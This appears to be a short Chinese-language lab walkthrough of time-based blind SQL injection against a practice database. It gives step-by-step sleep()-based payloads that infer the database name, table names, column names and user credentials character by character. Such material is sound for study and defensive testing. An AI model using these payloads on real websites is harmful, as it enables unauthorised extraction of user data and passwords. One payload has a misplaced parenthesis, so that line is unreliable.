第一步 判断注入点与注入类型
?id=1’ and sleep(10) %23
对比没有使用sleep()函数时的状态如下:
下面基于时间盲注进行数据库信息获取
第二步 获取数据库长度
id=1’ and if((length(database())=8),1,sleep(5)) %23
判断得数据库长度为8
第三步探测数据库其他信息
(1)判断数据库名
?id=1’ and if(ascii(substr(database(),1,1)=115,1,sleep(5))–+
数据库名的第一个字母为s(ascii为115),判断成功直接返回,判断错误的话是暂停5秒
?id=1’ and if(ascii(substr(database(),2,1))=101,1,sleep(5))–+
(2)获取表
?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))–+
email表的第一个字母为e(ascii为101),判断成功直接返回,判断错误的话是暂停5秒
以此类推,我们可以得到所有的数据表emails,referers,uagents,users
(3)获取列
?id=1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))=105,1,sleep(5))–+
猜测users表的第一个列的第一个字符是i
以此类推,我们得到列名是id,username,password
(4)获取列值
?id=1’ and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))–+
猜测username的第一行的第一位为D
按照这种思路依次来获取全部数据库信息